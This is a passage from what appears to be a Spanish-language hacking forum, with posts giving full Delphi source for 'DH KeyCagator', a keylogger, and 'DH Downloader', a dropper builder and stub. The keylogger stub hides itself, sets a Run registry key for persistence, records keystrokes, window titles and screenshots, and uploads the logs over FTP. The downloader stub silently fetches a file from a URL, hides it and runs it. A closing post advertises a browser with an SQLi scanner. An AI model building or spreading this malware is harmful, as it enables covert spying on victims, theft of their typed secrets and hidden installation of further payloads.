          for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
          begin
            IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
              IdFTP1.DirectoryListing.Items[i].FileName, False, False);
          end;

          ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);

          IdFTP1.Disconnect;
          IdFTP1.Free;
        end;
      except
        //
      end;

    end;

    end.

    // The End ?


    El stub.

    Código (delphi) [Seleccionar]

    // DH KeyCagator 0.7
    // (C) Doddy Hackman 2013

    program keycagator;

    // {$APPTYPE CONSOLE}

    uses
      SysUtils, Windows, WinInet, ShellApi;

    var
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      registro: HKEY;
      dir: string;
      time: integer;

      dir_hide: string;
      time_screen: integer;
      time_ftp: integer;
      ftp_host: Pchar;
      ftp_user: Pchar;
      ftp_password: Pchar;
      ftp_dir: Pchar;

      carpeta: string;
      directorio: string;
      dir_normal: string;
      dir_especial: string;
      ftp_online: string;
      screen_online: string;
      activado: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

      // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    procedure upload_ftpfile(host, username, password, filetoupload,
      conestenombre: Pchar);

    // Credits :
    // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
    // Thanks to Omair Iqbal

    var
      controluno: HINTERNET;
      controldos: HINTERNET;

    begin

      try

        begin
          controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
          controldos := InternetConnect(controluno, host,
            INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
            INTERNET_FLAG_PASSIVE, 0);
          ftpPutFile(controldos, filetoupload, conestenombre,
            FTP_TRANSFER_TYPE_BINARY, 0);
          InternetCloseHandle(controldos);
          InternetCloseHandle(controluno);
        end
      except
        //
      end;

    end;

    procedure capturar_pantalla(nombre: string);

    // Credits :
    // Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
    // Thanks to  www.delphibasics.info and n0v4

    var

      uno: integer;
      dos: integer;
      cre: hDC;
      cre2: hDC;
      im: hBitmap;
      archivo: file of byte;
      parriba: TBITMAPFILEHEADER;
      cantidad: pointer;
      data: TBITMAPINFO;

    begin


      // Start

      cre := getDC(getDeskTopWindow);
      cre2 := createCompatibleDC(cre);
      uno := getDeviceCaps(cre, HORZRES);
      dos := getDeviceCaps(cre, VERTRES);
      zeromemory(@data, sizeOf(data));


      // Config

      with data.bmiHeader do
      begin
        biSize := sizeOf(TBITMAPINFOHEADER);
        biWidth := uno;
        biheight := dos;
        biplanes := 1;
        biBitCount := 24;

      end;

      with parriba do
      begin
        bfType := ord('B') + (ord('M') shl 8);
        bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
          + uno * dos * 3;
        bfOffBits := sizeOf(TBITMAPINFOHEADER);
      end;

      //

      im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
      selectObject(cre2, im);

      bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);

      releaseDC(getDeskTopWindow, cre);

      // Make Photo

      AssignFile(archivo, nombre);
      Rewrite(archivo);

      blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
      blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
      blockWrite(archivo, cantidad^, uno * dos * 3);

    end;

    procedure capturar_teclas;

    var
      I: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      while (1 = 1) do
      begin

        Sleep(time); // Time

        try

          begin

            // Others

            for I := Low(n_raros) to High(n_raros) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_raros[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_raros[I]);
              end;
            end;

            // SHIFT

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              for I := Low(n_shift) to High(n_shift) do
              begin
                Result := GetAsyncKeyState(StrToInt(n_shift[I]));
                If Result = -32767 then
                begin
                  savefile('logs.html', t_shift[I]);
                end;
              end;

              for I := 65 to 90 do
              begin
                Result := GetAsyncKeyState(I);
                If Result = -32767 then
                Begin
                  savefile('logs.html', Chr(I + 0));
                End;
              end;

            end;

            // Numbers

            for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_derecha[I]);
              end;
            end;

            for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_izquierda[I]);
              end;
            end;

            // MAYUS

            if (GetKeyState(20) = 0) then
            begin
              mayus := 32;
            end
            else
            begin
              mayus := 0;
            end;

            for I := 65 to 90 do
            begin
              Result := GetAsyncKeyState(I);
              If Result = -32767 then
              Begin
                savefile('logs.html', Chr(I + mayus));
              End;
            end;
          end;
        except
          //
        end;

      end;
    end;

    procedure capturar_ventanas;
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;
      Nombre2: string; //
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time); // Time

            GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));

            nombre1 := ventana1;

            if not(nombre1 = Nombre2) then
            begin
              Nombre2 := nombre1;
              savefile('logs.html',
                '<hr style=color:#00FF00><h2><center>' + Nombre2 +
                  '</h2></center><br>');
            end;

          end;
        except
          //
        end;
      end;

    end;

    procedure capturar_pantallas;
    var
      generado: string;
    begin
      while (1 = 1) do
      begin

        Sleep(time_screen);

        generado := IntToStr(Random(100)) + '.jpg';

        try

          begin
            capturar_pantalla(generado);
          end;
        except
          //
        end;

        SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);

        savefile('logs.html', '<br><br><center><img src=' + generado +
            '></center><br><br>');

      end;
    end;

    procedure subirftp;
    var
      busqueda: TSearchRec;
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time_ftp);

            upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
                (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));

            FindFirst(dir + '*.jpg', faAnyFile, busqueda);

            upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
                (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            while FindNext(busqueda) = 0 do
            begin
              upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
                  (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            end;
          end;
        except
          //
        end;
      end;
    end;

    procedure control;
    var
      I: integer;
      re: Longint;
    begin

      while (1 = 1) do
      begin

        try

          begin

            Sleep(time);

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              re := GetAsyncKeyState(120);
              If re = -32767 then
              Begin

                ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
                  SW_SHOWNORMAL);

              End;
            end;
          end;
        except
          //
        end;
      End;
    end;

    //

    begin

      try

        // Config

        try

          begin

            // Edit

            ob := INVALID_HANDLE_VALUE;
            code := '';

            ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
              nil, OPEN_EXISTING, 0, 0);
            if (ob <> INVALID_HANDLE_VALUE) then
            begin
              SetFilePointer(ob, -9999, nil, FILE_END);
              ReadFile(ob, code, 9999, nose, nil);
              CloseHandle(ob);
            end;

            todo := regex(code, '[63686175]', '[63686175]');
            todo := dhencode(todo, 'decode');

            dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
            directorio := regex(todo, '[save]', '[save]');
            carpeta := regex(todo, '[folder]', '[folder]');
            screen_online := regex(todo, '[capture_op]', '[capture_op]');
            time_screen := StrToInt(regex(todo, '[capture_seconds]',
                '[capture_seconds]'));
            ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
            time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
            ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
            ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
            ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
            ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

            dir_normal := dir_especial;

            time := 100; // Not Edit

            if (dir_normal = '1') then
            begin
              dir_hide := directorio;
            end
            else
            begin
              dir_hide := GetEnvironmentVariable(directorio) + '/';
            end;

            dir := dir_hide + carpeta + '/';

            if not(DirectoryExists(dir)) then
            begin
              CreateDir(dir);
            end;

            ChDir(dir);

            nombrereal := ExtractFileName(paramstr(0));
            rutareal := dir;
            yalisto := dir + nombrereal;

            MoveFile(Pchar(paramstr(0)), Pchar(yalisto));

            SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);

            SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

            savefile(dir + '/logs.html', '');

            SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);

            savefile('logs.html',
              '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

            RegCreateKeyEx(HKEY_LOCAL_MACHINE,
              'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
              REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
            RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
            RegCloseKey(registro);
          end;
        except
          //
        end;

        // End

        // Start the party

        BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
        BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);

        if (screen_online = '1') then
        begin
          BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
        end;
        if (ftp_online = '1') then
        begin
          BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
        end;

        BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);

        // Readln;

        while (1 = 1) do
          Sleep(time);

      except
        //
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de aca.
#144
Programación General / [Delphi] DH Downloader 0.5
18 Noviembre 2013, 14:59 PM
Un simple programa en Delphi para bajar archivos con las siguientes opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.

    Unas imagenes :







    El codigo.

    El form principal.

    Código (delphi) [Seleccionar]

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    unit dh;

    interface

    uses
     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
     Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;

    type
     TForm1 = class(TForm)
       sSkinManager1: TsSkinManager;
       Image1: TImage;
       sGroupBox1: TsGroupBox;
       sButton1: TsButton;
       sButton2: TsButton;
       sButton3: TsButton;
       sButton4: TsButton;
       procedure sButton3Click(Sender: TObject);
       procedure sButton4Click(Sender: TObject);
       procedure sButton1Click(Sender: TObject);
       procedure sButton2Click(Sender: TObject);
       procedure FormCreate(Sender: TObject);
     private
       { Private declarations }
     public
       { Public declarations }
     end;

    var
     Form1: TForm1;

    implementation

    uses about, usbmode, generate;
    {$R *.dfm}

    procedure TForm1.FormCreate(Sender: TObject);
    begin

     sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
     sSkinManager1.SkinName := 'neonnight';
     sSkinManager1.Active := True;

    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin
     Form3.Show;
    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    begin
     Form4.Show;
    end;

    procedure TForm1.sButton3Click(Sender: TObject);
    begin
     Form2.Show;
    end;

    procedure TForm1.sButton4Click(Sender: TObject);
    begin
     Form1.Close;
    end;

    end.

    // The End ?


    El USB Mode.

    Código (delphi) [Seleccionar]

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    unit usbmode;

    interface

    uses
     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
     Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
     sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
     IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;

    type
     TForm3 = class(TForm)
       Image1: TImage;
       sStatusBar1: TsStatusBar;
       sGroupBox1: TsGroupBox;
       sGroupBox2: TsGroupBox;
       sEdit1: TsEdit;
       sGroupBox3: TsGroupBox;
       sCheckBox1: TsCheckBox;
       sEdit2: TsEdit;
       sCheckBox2: TsCheckBox;
       sEdit3: TsEdit;
       sCheckBox3: TsCheckBox;
       sCheckBox4: TsCheckBox;
       sCheckBox5: TsCheckBox;
       sRadioButton1: TsRadioButton;
       sRadioButton2: TsRadioButton;
       sGroupBox4: TsGroupBox;
       sButton1: TsButton;
       sProgressBar1: TsProgressBar;
       IdHTTP1: TIdHTTP;
       procedure sButton1Click(Sender: TObject);
       procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
         AWorkCount: Int64);
       procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
         AWorkCountMax: Int64);
       procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
       procedure FormCreate(Sender: TObject);
     private
       { Private declarations }
     public
       { Public declarations }
     end;

    var
     Form3: TForm3;

    implementation

    uses about, dh;
    {$R *.dfm}
    // Functions

    function getfilename(archivo: string): string;
    var
     test: TStrings;
    begin

     test := TStringList.Create;
     test.Delimiter := '/';
     test.DelimitedText := archivo;
     Result := test[test.Count - 1];

     test.Free;

    end;

    //

    procedure TForm3.FormCreate(Sender: TObject);
    begin
     sProgressBar1.Position := 0;
    end;

    procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
     AWorkCount: Int64);
    begin
     sProgressBar1.Position := AWorkCount;
     sStatusBar1.Panels[0].Text := '[+] Downloading ...';
     sStatusBar1.Update;
    end;

    procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
     AWorkCountMax: Int64);
    begin
     sProgressBar1.Max := AWorkCountMax;
     sStatusBar1.Panels[0].Text := '[+] Starting download ...';
     sStatusBar1.Update;
    end;

    procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    begin
     sProgressBar1.Position := 0;
    end;

    procedure TForm3.sButton1Click(Sender: TObject);
    var
     filename: string;
     nombrefinal: string;
     addnow: TRegistry;
     archivobajado: TFileStream;

    begin

     if not sCheckBox1.Checked then
     begin
       filename := sEdit1.Text;
       nombrefinal := getfilename(filename);
     end
     else
     begin
       nombrefinal := sEdit2.Text;
     end;

     archivobajado := TFileStream.Create(nombrefinal, fmCreate);

     try
       begin
         DeleteFile(nombrefinal);
         IdHTTP1.Get(sEdit1.Text, archivobajado);
         sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
         sStatusBar1.Update;
         archivobajado.Free;
       end;
     except
       sStatusBar1.Panels[0].Text := '[-] Failed download';
       sStatusBar1.Update;
       archivobajado.Free;
       Abort;
     end;

     if FileExists(nombrefinal) then
     begin

       if sCheckBox2.Checked then
       begin
         if not DirectoryExists(sEdit3.Text) then
         begin
           CreateDir(sEdit3.Text);
         end;
         MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
         sStatusBar1.Panels[0].Text := '[+] File Moved';
         sStatusBar1.Update;
       end;

       if sCheckBox3.Checked then
       begin
         SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
         if sCheckBox2.Checked then
         begin
           SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
             FILE_ATTRIBUTE_HIDDEN);

           sStatusBar1.Panels[0].Text := '[+] File Hidden';
           sStatusBar1.Update;
         end
         else
         begin
           SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
           sStatusBar1.Panels[0].Text := '[+] File Hidden';
           sStatusBar1.Update;
         end;
       end;

       if sCheckBox4.Checked then
       begin

         addnow := TRegistry.Create;
         addnow.RootKey := HKEY_LOCAL_MACHINE;
         addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

         if sCheckBox2.Checked then
         begin
           addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
         end
         else
         begin
           addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
               + '/' + nombrefinal);
         end;

         sStatusBar1.Panels[0].Text := '[+] Registry Updated';
         sStatusBar1.Update;

         addnow.Free;

       end;

       if sCheckBox5.Checked then
       begin

         if sRadioButton1.Checked then
         begin
           if sCheckBox2.Checked then
           begin
             ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
               nil, nil, SW_SHOWNORMAL);
           end
           else
           begin
             ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
               SW_SHOWNORMAL);
           end;
         end
         else
         begin
           if sCheckBox2.Checked then
           begin
             ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
               nil, nil, SW_HIDE);
           end
           else
           begin
             ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
           end;
         end;

       end;

       if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
         sCheckBox4.Checked or sCheckBox5.Checked then
       begin
         sStatusBar1.Panels[0].Text := '[+] Finished';
         sStatusBar1.Update;
       end;

     end;

    end;

    end.

    // The End ?


    El generador.

    Código (delphi) [Seleccionar]

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    unit generate;

    interface

    uses
     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
     Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
     sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;

    type
     TForm4 = class(TForm)
       Image1: TImage;
       sStatusBar1: TsStatusBar;

       OpenDialog1: TOpenDialog;
       sPageControl1: TsPageControl;
       sTabSheet1: TsTabSheet;
       sTabSheet2: TsTabSheet;
       sTabSheet3: TsTabSheet;
       sGroupBox1: TsGroupBox;
       sGroupBox2: TsGroupBox;
       sEdit1: TsEdit;
       sGroupBox3: TsGroupBox;
       sEdit2: TsEdit;
       sGroupBox4: TsGroupBox;
       sRadioButton1: TsRadioButton;
       sRadioButton2: TsRadioButton;
       sGroupBox5: TsGroupBox;
       sGroupBox6: TsGroupBox;
       sGroupBox7: TsGroupBox;
       Image2: TImage;
       sButton1: TsButton;
       sGroupBox8: TsGroupBox;
       sComboBox1: TsComboBox;
       sGroupBox9: TsGroupBox;
       sCheckBox1: TsCheckBox;
       sEdit3: TsEdit;
       sGroupBox10: TsGroupBox;
       sButton2: TsButton;
       procedure sButton1Click(Sender: TObject);
       procedure sEdit2Click(Sender: TObject);
       procedure sButton2Click(Sender: TObject);

       procedure FormCreate(Sender: TObject);

     private
       { Private declarations }
     public
       { Public declarations }
     end;

    var
     Form4: TForm4;

    implementation

    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
     num: integer;
     aca: string;
     cantidad: integer;

    begin

     num := 0;
     Result := '';
     aca := '';
     cantidad := 0;

     if (opcion = 'encode') then
     begin
       cantidad := length(texto);
       for num := 1 to cantidad do
       begin
         aca := IntToHex(ord(texto[num]), 2);
         Result := Result + aca;
       end;
     end;

     if (opcion = 'decode') then
     begin
       cantidad := length(texto);
       for num := 1 to cantidad div 2 do
       begin
         aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
         Result := Result + aca;
       end;
     end;

    end;

    function getfilename(archivo: string): string;
    var
     test: TStrings;
    begin

     test := TStringList.Create;
     test.Delimiter := '/';
     test.DelimitedText := archivo;
     Result := test[test.Count - 1];

     test.Free;

    end;

    //

    procedure TForm4.FormCreate(Sender: TObject);
    begin

     OpenDialog1.InitialDir := GetCurrentDir;
     OpenDialog1.Filter := 'ICO|*.ico|';

    end;

    procedure TForm4.sButton2Click(Sender: TObject);
    var
     linea: string;
     aca: THandle;
     code: Array [0 .. 9999 + 1] of Char;
     nose: DWORD;
     marca_uno: string;
     marca_dos: string;
     url: string;
     opcionocultar: string;
     savein: string;
     lineafinal: string;
     stubgenerado: string;
     tipodecarga: string;
     change: DWORD;
     valor: string;

    begin

     url := sEdit1.Text;
     stubgenerado := 'tiny_down.exe';

     if (sRadioButton2.Checked = True) then
     begin
       tipodecarga := '1';
     end
     else
     begin
       tipodecarga := '0';
     end;

     if (sCheckBox1.Checked = True) then
     begin
       opcionocultar := '1';
     end
     else
     begin
       opcionocultar := '0';
     end;

     if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
     begin
       savein := 'USERPROFILE';
     end
     else
     begin
       savein := sComboBox1.Items[sComboBox1.ItemIndex];
     end;

     lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
       '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
       '[name]' + '[carga]' + tipodecarga + '[carga]';

     marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

     aca := INVALID_HANDLE_VALUE;
     nose := 0;

     DeleteFile(stubgenerado);
     CopyFile(PChar(ExtractFilePath(Application.ExeName)
           + '/' + 'Data/stub_down.exe'), PChar
         (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

     linea := marca_uno;
     StrCopy(code, PChar(linea));
     aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
       OPEN_EXISTING, 0, 0);
     if (aca <> INVALID_HANDLE_VALUE) then
     begin
       SetFilePointer(aca, 0, nil, FILE_END);
       WriteFile(aca, code, 9999, nose, nil);
       CloseHandle(aca);
     end;

     //

     if not(sEdit3.Text = '') then
     begin
       try
         begin

           valor := IntToStr(128);

           change := BeginUpdateResourceW
             (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                   + '/' + stubgenerado)), False);
           LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
             PWideChar(wideString(sEdit3.Text)));
           EndUpdateResourceW(change, False);
           sStatusBar1.Panels[0].Text := '[+] Done ';
           sStatusBar1.Update;
         end;
       except
         begin
           sStatusBar1.Panels[0].Text := '[-] Error';
           sStatusBar1.Update;
         end;
       end;
     end
     else
     begin
       sStatusBar1.Panels[0].Text := '[+] Done ';
       sStatusBar1.Update;
     end;

     //

    end;

    procedure TForm4.sButton1Click(Sender: TObject);
    begin

     if OpenDialog1.Execute then
     begin
       Image2.Picture.LoadFromFile(OpenDialog1.FileName);
       sEdit3.Text := OpenDialog1.FileName;
     end;

    end;

    procedure TForm4.sEdit2Click(Sender: TObject);
    begin
     if not(sEdit1.Text = '') then
     begin
       sEdit2.Text := getfilename(sEdit1.Text);
     end;
    end;

    end.

    // The End ?


    El stub

    Código (delphi) [Seleccionar]

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    // Stub

    program stub_down;

    // {$APPTYPE CONSOLE}

    uses
     SysUtils, Windows, URLMon, ShellApi;


    // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
     Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
     SetLength(text, AnsiPos(hastaaca, text) - 1);
     Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
     num: integer;
     aca: string;
     cantidad: integer;

    begin

     num := 0;
     Result := '';
     aca := '';
     cantidad := 0;

     if (opcion = 'encode') then
     begin
       cantidad := Length(texto);
       for num := 1 to cantidad do
       begin
         aca := IntToHex(ord(texto[num]), 2);
         Result := Result + aca;
       end;
     end;

     if (opcion = 'decode') then
     begin
       cantidad := Length(texto);
       for num := 1 to cantidad div 2 do
       begin
         aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
         Result := Result + aca;
       end;
     end;

    end;

    //

    var
     ob: THandle;
     code: Array [0 .. 9999 + 1] of Char;
     nose: DWORD;
     link: string;
     todo: string;
     opcion: string;
     path: string;
     nombre: string;
     rutafinal: string;
     tipodecarga: string;

    begin

     try

       ob := INVALID_HANDLE_VALUE;
       code := '';

       ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
         OPEN_EXISTING, 0, 0);
       if (ob <> INVALID_HANDLE_VALUE) then
       begin
         SetFilePointer(ob, -9999, nil, FILE_END);
         ReadFile(ob, code, 9999, nose, nil);
         CloseHandle(ob);
       end;

       todo := regex(code, '[63686175]', '[63686175]');
       todo := dhencode(todo, 'decode');

       link := regex(todo, '[link]', '[link]');
       opcion := regex(todo, '[opcion]', '[opcion]');
       path := regex(todo, '[path]', '[path]');
       nombre := regex(todo, '[name]', '[name]');
       tipodecarga := regex(todo, '[carga]', '[carga]');

       rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

       try

         begin
           UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

           if (FileExists(rutafinal)) then
           begin

             if (opcion = '1') then
             begin
               SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
             end;

             if (tipodecarga = '1') then
             begin
               ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
             end
             else
             begin
               ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
             end;
           end;

         end;
       except
         //
       end;

     except
       //
     end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de aca.
#145
Programación General / [Delphi] DH Browser 0.2
15 Noviembre 2013, 15:02 PM
Un simple browser que hice en Delphi con las siguientes opciones :

  • Podes ver el codigo HTML de la pagina cargada
  • Se puede buscar palabras en el codigo HTML
  • Poder modificar los headers para HTTP header injection
  • Trae un SQLI Scanner para buscar vulnerabilidades SQLI
  • Trae un PanelFinder para buscar el panel del admin

    Unas imagenes :





    El codigo :

    Carga

    Código (delphi) [Seleccionar]

    // DH Browser 0.2
    // (C) Doddy Hackman 2013

    unit dhbrowse;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, acPNG, ExtCtrls, ComCtrls, acProgressBar, sGroupBox,
      sSkinManager;

    type
      TForm1 = class(TForm)
        sGroupBox1: TsGroupBox;
        sProgressBar1: TsProgressBar;
        Timer1: TTimer;
        Image1: TImage;

        sSkinManager1: TsSkinManager;
        procedure Button1Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses programa;
    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      Form2.Show;
    end;

